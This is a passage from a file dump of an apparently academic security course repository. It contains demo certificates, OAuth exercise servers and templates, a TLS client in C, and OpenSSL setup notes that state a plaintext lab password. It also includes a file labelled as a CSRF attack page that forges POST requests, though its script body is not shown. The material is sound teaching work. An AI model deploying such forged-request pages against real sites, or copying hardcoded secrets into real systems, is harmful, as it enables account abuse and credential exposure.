etubZwnPJDIngDCXwShW3jz0IXDjPBn7Wg8prWJHw7qjh/8S8LvVk8Q+uYVkBVK8 11 | /4ZdUhRzd5aAIe/HDIf0VybG3nM66UpeQxDMOpx3ZIWcliV2u/Gr7F6XBwYnippK 12 | VKlQQpyU+B8NRUlFVGsam86uSeTwrR6mWZKU5FyYzbpJO7ngXGC/M1HhgcA9Gfzf 13 | Sv+e9G7ze1W0l90HoGt1CfqUH4GDV68tnZbj25V7sA+7q4kPeRK4FEppdWTTjo0W 14 | tGd8yhabALIfC16T1EzBBLk2ZyLPe+34lPrlb7IDCl9n3LKgmZQEr63dcxKLhsUW 15 | HGQdGtmdXjrofmalHFj+9RAd9Xm9Xnfim0DU178hssiEwn85T5cdaIieyy4ZPa85 16 | 4+uS1Ol06gAaGcHm0xmJzs4KNvnGYf/OacKYSOBFEcCiu+FA0Pro2ZmgCOu3Lee5 17 | AU2CCMnyRedu2TBK2+rJfpPwqWQuwY7YgpeF8bJjv6rsdX5I9rZNyUOa1o3U9Y0v 18 | 781RQaR9pkwkIseTnjtwXeb6MyuGZoAREjzMupM9zCW+kfy2KGOWkbdrWuMqcu8C 19 | AwEAAaNTMFEwHQYDVR0OBBYEFNV5RhyZ1vS+Jj4VcP3luPxkkBTlMB8GA1UdIwQY 20 | MBaAFNV5RhyZ1vS+Jj4VcP3luPxkkBTlMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZI 21 | hvcNAQELBQADggIBAMoGIEL1DibnGPtCJFnKczj7FF/ruCZknlqXhbz1XAdc9MEq 22 | A2xoXgDEFVh6hSPPAETIbA5/i94m5uV1uAZaXNnMX7rgZcmr8RxaRKzZ+JKLkgji 23 | dURySJFOZkR4yO5fRxjMhWf28CW9zCo8Ed6hfk05q2POUhU/7TtqTQJw8azxQAif 24 | YFuXcR17Zodi2XXfJy/sy3d+SOMblNF3Qh+L2pRPLG2E5ly0kyQitMQUgJfwDzj4 25 | Z8OwxEfuujrBq72JPPTQXul6gCCC+xmUr/jN0cEdQ9Xb4d4n6jiwJaaZO3XU6Asd 26 | FHHGUf7gGLWNA69Y9tTnMA/2bVkzRy0K/rf6tP0MDqRFPjbC5uknyFvtllhYI2jw 27 | DYr2dAIkWi47PDPzk0nF6XZlCaN/FHMDbCwQZWjFcphrYNQ8pr8H10fX2/n01sYK 28 | uNpUYX+mHwk+H4mH3mQRnRCKht6fTTOwFk1ARfQNsMcKT0nl3lYP21eeAUfkuetJ 29 | PXsO/s6nGO7McM2PInlxTY7idrdRMpKcZ8jLF7dN7RXLk8NXy9e5NeGvejM8XZlJ 30 | qsc8rGLlXY7Nv6sWyO7tZY3Rhw8jUScemFIATrPXRvFATPHUFsLAb75ABRenpYy9 31 | VGFZmdvYMpQ8H/oXLEP932esfv1PuwchXyw6s7BorrFMTFLToydZ3fO1CT/b 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/files/protectedResource/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Protected Resource 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 | To access the resource, send a POST request to http://localhost:9002/resource and include a valid OAuth token. 41 |
42 | 43 |
44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/protectedResource/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Protected Resource 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 | To access the resource, send a POST request to http://localhost:9002/resource and include a valid OAuth token. 41 |
42 | 43 |
44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/modelCA_cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | 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 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/cert/modelCA_cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | 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 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/CSRF_Attack/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

4 | This page forges an HTTP POST request. 5 |

6 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/protectedResource.js: -------------------------------------------------------------------------------- 1 | var express = require("express"); 2 | var bodyParser = require('body-parser'); 3 | var cons = require('consolidate'); 4 | var nosql = require('nosql').load('database.nosql'); 5 | var cors = require('cors'); 6 | 7 | var app = express(); 8 | 9 | app.use(bodyParser.urlencoded({ extended: true })); // support form-encoded bodies (for bearer tokens) 10 | 11 | app.engine('html', cons.underscore); 12 | app.set('view engine', 'html'); 13 | app.set('views', 'files/protectedResource'); 14 | app.set('json spaces', 4); 15 | 16 | app.use('/', express.static('files/protectedResource')); 17 | app.use(cors()); 18 | 19 | var resource = { 20 | "name": "Protected Resource", 21 | "description": "This data has been protected by OAuth 2.0" 22 | }; 23 | 24 | var getAccessToken = function(req, res, next) { 25 | // check the auth header first 26 | var auth = req.headers['authorization']; 27 | var inToken = null; 28 | if (auth && auth.toLowerCase().indexOf('bearer') == 0) { 29 | inToken = auth.slice('bearer '.length); 30 | } else if (req.body && req.body.access_token) { 31 | // not in the header, check in the form body 32 | inToken = req.body.access_token; 33 | } else if (req.query && req.query.access_token) { 34 | inToken = req.query.access_token 35 | } 36 | 37 | console.log('Incoming token: %s', inToken); 38 | nosql.one(function(token) { 39 | if (token.access_token == inToken) { 40 | return token; 41 | } 42 | }, function(err, token) { 43 | if (token) { 44 | console.log("We found a matching token: %s", inToken); 45 | } else { 46 | console.log('No matching token was found.'); 47 | } 48 | req.access_token = token; 49 | next(); 50 | return; 51 | }); 52 | }; 53 | 54 | app.options('/resource', cors()); 55 | app.post("/resource", cors(), getAccessToken, function(req, res){ 56 | 57 | if (req.access_token) { 58 | res.json(resource); 59 | } else { 60 | res.status(401).end(); 61 | } 62 | 63 | }); 64 | 65 | var server = app.listen(9002, 'localhost', function () { 66 | var host = server.address().address; 67 | var port = server.address().port; 68 | 69 | console.log('OAuth Resource Server is listening at http://%s:%s', host, port); 70 | }); 71 | 72 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/files/client/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Client 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Access token value: <%- access_token ? access_token : 'NONE' %>

41 |

Scope value: <%- scope ? scope : 'NONE' %>

42 | Get OAuth Token 43 | Get Protected Resource 44 |
45 | 46 |
47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/client/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Client 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Access token value: <%- access_token ? access_token : 'NONE' %>

41 |

Scope value: <%- scope ? scope : 'NONE' %>

42 | Get OAuth Token 43 | Get Protected Resource 44 |
45 | 46 |
47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/files/authorizationServer/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Authorization Server 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Client information:

41 | <% _.each(clients, function(client) { %> 42 |
    43 |
  • client_id: <%- client.client_id %>
  • 44 |
  • client_secret: <%- client.client_secret %>
  • 45 |
  • scope: <%- client.scope %>
  • 46 |
  • redirect_uri: <%- client.redirect_uris %>
  • 47 |
48 | <% }); %> 49 |

Server information:

50 |
    51 |
  • authorization_endpoint: <%- authServer.authorizationEndpoint %>
  • 52 |
  • token_endpoint: <%- authServer.tokenEndpoint %>
  • 53 |
54 |
55 | 56 |
57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/authorizationServer/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Authorization Server 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Client information:

41 | <% _.each(clients, function(client) { %> 42 |
    43 |
  • client_id: <%- client.client_id %>
  • 44 |
  • client_secret: <%- client.client_secret %>
  • 45 |
  • scope: <%- client.scope %>
  • 46 |
  • redirect_uri: <%- client.redirect_uris %>
  • 47 |
48 | <% }); %> 49 |

Server information:

50 |
    51 |
  • authorization_endpoint: <%- authServer.authorizationEndpoint %>
  • 52 |
  • token_endpoint: <%- authServer.tokenEndpoint %>
  • 53 |
54 |
55 | 56 |
57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Client/tls_client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define CHK_SSL(err) if ((err) < 1) { ERR_print_errors_fp(stderr); exit(2); } 7 | 8 | SSL* setupTLSClient(const char* hostname) 9 | { 10 | // Step 0: OpenSSL library initialization 11 | // This step is no longer needed as of version 1.1.0. 12 | // SSL_library_init(); 13 | // SSL_load_error_strings(); 14 | 15 | // Step 1: SSL context initialization 16 | SSL_METHOD *meth = (SSL_METHOD *)TLSv1_2_method(); 17 | SSL_CTX* ctx = SSL_CTX_new(meth); 18 | SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL); 19 | SSL_CTX_load_verify_locations(ctx, NULL, "./cert"); 20 | 21 | // Step 2: Create a new SSL structure for a connection 22 | SSL* ssl = SSL_new (ctx); 23 | 24 | // Step 3: Enable the hostname check 25 | X509_VERIFY_PARAM *vpm = SSL_get0_param(ssl); 26 | X509_VERIFY_PARAM_set1_host(vpm, hostname, 0); 27 | 28 | return ssl; 29 | } 30 | 31 | int setupTCPClient(const char* hostname, int port) 32 | { 33 | struct sockaddr_in server_addr; 34 | 35 | // Get the IP address from hostname 36 | struct hostent* hp = gethostbyname(hostname); 37 | 38 | // Create a TCP socket 39 | int sockfd= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 40 | 41 | // Fill in the destination information (IP, port #, and family) 42 | memset (&server_addr, '\0', sizeof(server_addr)); 43 | memcpy(&(server_addr.sin_addr.s_addr), hp->h_addr, hp->h_length); 44 | server_addr.sin_port = htons (port); 45 | server_addr.sin_family = AF_INET; 46 | 47 | // Connect to the destination 48 | connect(sockfd, (struct sockaddr*) &server_addr, 49 | sizeof(server_addr)); 50 | 51 | return sockfd; 52 | } 53 | 54 | 55 | int main(int argc, char *argv[]) 56 | { 57 | char *hostname = "example.com"; 58 | int port = 443; 59 | 60 | if (argc > 1) hostname = argv[1]; 61 | if (argc > 2) port = atoi(argv[2]); 62 | 63 | // TLS initialization and create TCP connection 64 | SSL *ssl = setupTLSClient(hostname); 65 | int sockfd = setupTCPClient(hostname, port); 66 | 67 | // TLS handshake 68 | SSL_set_fd(ssl, sockfd); 69 | int err = SSL_connect(ssl); CHK_SSL(err); 70 | printf("SSL connection is successful\n"); 71 | printf ("SSL connection using %s\n", SSL_get_cipher(ssl)); 72 | 73 | // Send and Receive data 74 | char buf[9000]; 75 | char sendBuf[200]; 76 | 77 | sprintf(sendBuf, "GET / HTTP/1.1\nHost: %s\n\n", hostname); 78 | SSL_write(ssl, sendBuf, strlen(sendBuf)); 79 | 80 | int len; 81 | do { 82 | len = SSL_read (ssl, buf, sizeof(buf) - 1); 83 | buf[len] = '\0'; 84 | printf("%s\n",buf); 85 | } while (len > 0); 86 | } 87 | 88 | 89 | -------------------------------------------------------------------------------- /Semana 4/Aula 10/paypal-single.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIHnzCCBoegAwIBAgIQBqy0AJWGNV1fxgMnJ8uCKTANBgkqhkiG9w0BAQsFADB1 3 | MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 4 | d3cuZGlnaWNlcnQuY29tMTQwMgYDVQQDEytEaWdpQ2VydCBTSEEyIEV4dGVuZGVk 5 | IFZhbGlkYXRpb24gU2VydmVyIENBMB4XDTE5MDkxMDAwMDAwMFoXDTIwMDgxODEy 6 | MDAwMFowgdwxHTAbBgNVBA8MFFByaXZhdGUgT3JnYW5pemF0aW9uMRMwEQYLKwYB 7 | BAGCNzwCAQMTAlVTMRkwFwYLKwYBBAGCNzwCAQITCERlbGF3YXJlMRAwDgYDVQQF 8 | EwczMDE0MjY3MQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTERMA8G 9 | A1UEBxMIU2FuIEpvc2UxFTATBgNVBAoTDFBheVBhbCwgSW5jLjEUMBIGA1UECxML 10 | Q0ROIFN1cHBvcnQxFzAVBgNVBAMTDnd3dy5wYXlwYWwuY29tMIIBIjANBgkqhkiG 11 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuqlxQOT0FVCatqK/BKtGjij/ZbLR2ZE80yWu 12 | S9/WzVL8fPmdvIC3wZbN3o3WTuLFj/Z/7z1bT60WTzLMbAtDofL4IqMDttGV1PCW 13 | s2UsP+Ri2zcZGIA/rIPGlKLNRVbG4xy/V11NOjeapIgLlh7G0ppJI0uppN008yCd 14 | JE8EvJzdBrvKNO53AxtimUsty9BN/NKM1XjcTWv0f9DUfJgyCSQRknAYZ/RmQNqG 15 | WyOAPrskIJEL4mKE8z+UJIrOrvP5vWmyMqOD4CcDrBePM5e+Q2wH0g1ZmamqUFTi 16 | 5oNU39X0vFNsYAdy4OzyAhPsL+AyPO7nJnYwNm/C60HBxj7AKQIDAQABo4IDwTCC 17 | A70wHwYDVR0jBBgwFoAUPdNQpdagre7zSmAKZdMh1Pj41g8wHQYDVR0OBBYEFK2/ 18 | OmxNG9p/I1E6quPkegMU+dJgMIHlBgNVHREEgd0wgdqCDnd3dy5wYXlwYWwuY29t 19 | ghJoaXN0b3J5LnBheXBhbC5jb22CDHQucGF5cGFsLmNvbYIMYy5wYXlwYWwuY29t 20 | gg1jNi5wYXlwYWwuY29tghRkZXZlbG9wZXIucGF5cGFsLmNvbYIMcC5wYXlwYWwu 21 | Y29tghV3d3cucGF5cGFsb2JqZWN0cy5jb22CDmNtcy5wYXlwYWwuY29tghBsb2dp 22 | bi5wYXlwYWwuY29tghRmaW5hbmNpbmcucGF5cGFsLmNvbYIWY3JlZGl0YXBwbHku 23 | cGF5cGFsLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEG 24 | CCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0 25 | LmNvbS9zaGEyLWV2LXNlcnZlci1nMi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRp 26 | Z2ljZXJ0LmNvbS9zaGEyLWV2LXNlcnZlci1nMi5jcmwwSwYDVR0gBEQwQjA3Bglg 27 | hkgBhv1sAgEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29t 28 | L0NQUzAHBgVngQwBATCBiAYIKwYBBQUHAQEEfDB6MCQGCCsGAQUFBzABhhhodHRw 29 | Oi8vb2NzcC5kaWdpY2VydC5jb20wUgYIKwYBBQUHMAKGRmh0dHA6Ly9jYWNlcnRz 30 | LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJFeHRlbmRlZFZhbGlkYXRpb25TZXJ2 31 | ZXJDQS5jcnQwDAYDVR0TAQH/BAIwADCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2 32 | AO5Lvbd1zmC64UJpH6vhnmajD35fsHLYgwDEe4l6qP3LAAABbRxT0rsAAAQDAEcw 33 | RQIgJdh1KEeO0OwW2+Og+krJKE9JhZuHqYR5zQWAeIBm7g4CIQCNLD1IidpGlUMB 34 | 1+4H+sqOXF5zzJxRf2bYvtxncWg4BAB3AFYUBpov18Ls0/XhvUSyPsdGdrm8mRFc 35 | wO+UmFXWidDdAAABbRxT0vgAAAQDAEgwRgIhAOAURQVTkOh2Ync6fzMQ/m8UXGOf 36 | +DC4f7W9LT3UXhd2AiEAk3z/0rGjV/juoUWB5sPPWHi9mqidgnqUuHBqLVdtIvcw 37 | DQYJKoZIhvcNAQELBQADggEBALGfymx1h1fjE1DWWVQ8Cr7/+ZI969ad7QWkAmw0 38 | Fg8iK5jA1/eP5ZpBIkpBwtww+su++Qz+9hSwNxSvY7wxm/bxpbiWhH3bhiago8nA 39 | 173ivmiEyrzOrpIdVeXIr4J5H/SeIlC/J6TDW4CzjCy575zXfsRTEMRt9NoWNIm3 40 | hmN1NIuU2Es8K3b8DAhonwdO1VI5mhUhj+UsyB2FAsoUQ5l3TbsLOnkstQPvkaPq 41 | SCNNzrDU2edxflH2qjK8nYI5lHDzrNoTwVm0Rgw6B2W6B7q8PbT8tS8yJQ55NsSG 42 | o5xYMh2ErcnMx/sujbhgUxDJnvwbOuHfumRnu4+ipOaG/fs= 43 | -----END CERTIFICATE----- 44 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/files/authorizationServer/approve.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Authorization Server 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Approve this client?

41 | <% if (client.client_name) { %> 42 |

Name: <%- client.client_name %>

43 | <% } %> 44 |

ID: <%- client.client_id %>

45 | <% if (client.client_uri) { %> 46 |

URI: <%- client.client_uri %>

47 | <% } %> 48 | <% if (client.logo_uri) { %> 49 |

logo:

50 | <% } %> 51 | 52 |
53 | 54 | <% if (scope) { %> 55 |

The client is requesting access to the following:

56 |
    57 | <% _.each(scope, function(s) { %> 58 |
  • 59 | <% }); %> 60 |
61 | <% } %> 62 | 63 | 64 |
65 |
66 | 67 |
68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/files/authorizationServer/approve.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | OAuth in Action: OAuth Authorization Server 9 | 10 | 11 | 12 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 36 | 37 |
38 | 39 |
40 |

Approve this client?

41 | <% if (client.client_name) { %> 42 |

Name: <%- client.client_name %>

43 | <% } %> 44 |

ID: <%- client.client_id %>

45 | <% if (client.client_uri) { %> 46 |

URI: <%- client.client_uri %>

47 | <% } %> 48 | <% if (client.logo_uri) { %> 49 |

logo:

50 | <% } %> 51 | 52 |
53 | 54 | <% if (scope) { %> 55 |

The client is requesting access to the following:

56 |
    57 | <% _.each(scope, function(s) { %> 58 |
  • 59 | <% }); %> 60 |
61 | <% } %> 62 | 63 | 64 |
65 |
66 | 67 |
68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/Password and Execution Steps.txt: -------------------------------------------------------------------------------- 1 | password for modelCA and bank32.com: dees 2 | 3 | # 4 | # Create a CA and generate a valid certificate for the server 5 | # 6 | 7 | # 1. Setting a Certification Authority (CA) 8 | $ mkdir demoCA 9 | $ cd demoCA 10 | $ mkdir certs crl newcerts 11 | # touch command: It is used to create a file without any content. 12 | # Create index.txt and serial empty files 13 | $ touch index.txt serial 14 | $ echo 1000 > serial 15 | $ cd .. 16 | 17 | #//////////////////////////////// 18 | Changing openssl.cnf to use 'supplied' or 'optional' instead of 'match': 19 | [ policy_match ] 20 | ... 21 | #organizationName = match 22 | organizationName = supplied 23 | 24 | $ sudo gedit /usr/bin/openssl.cnf 25 | and edit file contents as above 26 | #//////////////////////////////// 27 | 28 | # 2. DNS (Associate domain bank32.com to localhost) 29 | sudo gedit /etc/hosts 30 | 31 | # Add entry 32 | 127.0.0.1 bank32.com 33 | 34 | # Update hosts file 35 | /etc/init.d/hostname.sh 36 | #//////////////////////////////// 37 | 38 | # 3. Create public-private key pair for ModelCA, and then generate a 39 | # self-signed certificate for it (ModelCA is the root CA) 40 | $ openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -keyout modelCA_key.pem -out modelCA_cert.pem 41 | # Enter certificate fields: 42 | # C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 43 | 44 | #/////////////////////////////////// 45 | # Generate bank32.com certificate 46 | #/////////////////////////////////// 47 | 48 | # Generate public-private key pair 49 | $ openssl genrsa -aes128 -out bank32_key.pem 2048 50 | 51 | # Generate certificate signing request 52 | $ openssl req -new -key bank32_key.pem -out bank.csr -sha256 53 | 54 | # Enter certificate fields: 55 | # C=US, ST=New York, O=Bank, CN=bank32.com 56 | 57 | # Display csr 58 | $ openssl req -in bank.csr -text -noout 59 | 60 | 